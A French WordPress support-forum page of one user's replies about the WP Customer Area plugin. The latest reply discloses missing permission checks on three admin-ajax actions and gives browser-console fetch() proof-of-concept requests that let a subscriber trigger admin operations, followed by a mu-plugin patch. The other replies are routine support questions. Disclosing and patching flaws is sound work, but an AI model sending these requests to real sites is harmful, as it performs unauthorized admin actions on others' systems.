Forum Replies Created
-
Nicolas
Participant# il y a 1 jour et 23 heuresPour les autres, en attendant que le support réponde :
Après audit du code, 3 actions internes de “WP Customer Area” ne vérifient pas correctement certains droits d’accès. En clair, un simple utilisateur connecté au site (sans droit supérieur donc rôle subscriber) pourrait lancer 3 opérations normalement réservées aux admins :
– modifier l’état de licence du plugin (réinitialisation/désactivation)
– (re)créer des pages et le menu de navigation par défaut (théoriquement, car la faille est liée seulement à l’installation du plugin)
– faire disparaître un rappel à l’admin (notification) de terminer un paramétrage du plugin—
Vous pouvez tester ces failles en copiant collant ces scripts dans la console navigateur, connecté en tant que “subscriber”// 1) Licence
fetch(‘/wp-admin/admin-ajax.php’,{method:’POST’,credentials:’include’,
headers:{‘Content-Type’:’application/x-www-form-urlencoded’},
body:’action=cuar_validate_license’}).then(r=>console.log(‘validate_license’,r.status));// 2) Marquer permissions configurées
fetch(‘/wp-admin/admin-ajax.php’,{method:’POST’,credentials:’include’,
headers:{‘Content-Type’:’application/x-www-form-urlencoded’},
body:’action=cuar_mark_permissions_as_configured’}).then(r=>console.log(‘mark_permissions’,r.status));// 3) Créer pages & navigation
fetch(‘/wp-admin/admin-ajax.php’,{method:’POST’,credentials:’include’,
headers:{‘Content-Type’:’application/x-www-form-urlencoded’},
body:’action=cuar_installer_create_pages_and_nav’}).then(r=>console.log(‘create_pages_nav’,r.status));—
Patch en attendant :– Créez un dossier mu-plugin.
– Créez un fichier php
– Collez le code suivant :<?php
if (!defined(‘ABSPATH’)) exit;
function cuar_harden_gate() {
if (!current_user_can(‘manage_options’)) wp_send_json_error([‘message’=>’Not allowed’], 403);
}add_action(‘wp_ajax_cuar_installer_create_pages_and_nav’, ‘cuar_harden_gate’, 0);
add_action(‘wp_ajax_cuar_mark_permissions_as_configured’, ‘cuar_harden_gate’, 0);
add_action(‘wp_ajax_cuar_validate_license’, ‘cuar_harden_gate’, 0);Testez les exploits JavaScript précédents : une erreur 400 / 403 devrait survenir à la place d’un 200.
in reply to: Security Issues in 8.2.5Nicolas
Participant# il y a 2 jours et 4 heuresBonjour,
Quelle est votre position vis à vis de cette faille de sécurité ?
in reply to: Security Issues in 8.2.5Nicolas
Participant# il y a 3 années et 5 moisPour info la version précédente du addon fonctionne donc il y a un bug dans la dernière version
in reply to: (Re)set password invalid tokenNicolas
Participant# il y a 3 années et 11 moisBonjour,
De manière générale, j’ai souvent besoin de faire plus que les hooks ou overrides de templates fournis par le plugin.
Je suis conscient du fait qu’il faut ensuite maintenir le code lors des mises à jour, chose qui est prévue.
Ici je souhaitais simplement faire apparaître le sidebar de catégories de fichier au hover sur toutes les tailles d’écran (donc modifier 1 ligne du JS seulement).
Cela reste tout de même pratique de pouvoir personnaliser le main.js pour être plus libre à l’avenir.
En effet mon problème est surement lié à $dependencies.
Merci pour votre réponse.
in reply to: Custom main.jsNicolas
Participant# il y a 4 années et 1 moisAprès plusieurs tests / tentatives, je remarque qu’ en suivant la configuration de la doc (voir ma config : acf_champs_utilisateur_doc_reglages-acf.JPG) j’ai le résultat suivant :
- Edition du compte utilisateur n’affiche pas les champs acf_form date de naissance et description (voir acf_champs_utilisateur_doc_cuar_edit.JPG)
- Affichage du compte utilisateur affiche les champs acf date de naissance et description (voir acf_champs_utilisateur_doc_cuar_read.JPG) ET : affiche également le label de 2 champs obligatoires qui doivent s’afficher sur toutes les pages sans leurs champs optionnels (voir acf_champs_page_reglages-acf.JPG)
Lorsque je change la condition
Page
->is equal to
->Account details
àPage
->is not equal to
->Account details
(voir acf_champs_utilisateur_INVERSEdoc_reglages-acf.JPG) alors les champs d’édition apparaissent dans l’Edition du compte utilisateur (voir acf_champs_utilisateur_INVERSEdoc_cuar_edit.JPG).En espérant vous avoir aidé à m’aider 🙂
in reply to: ACF ADDON Utilisation / problème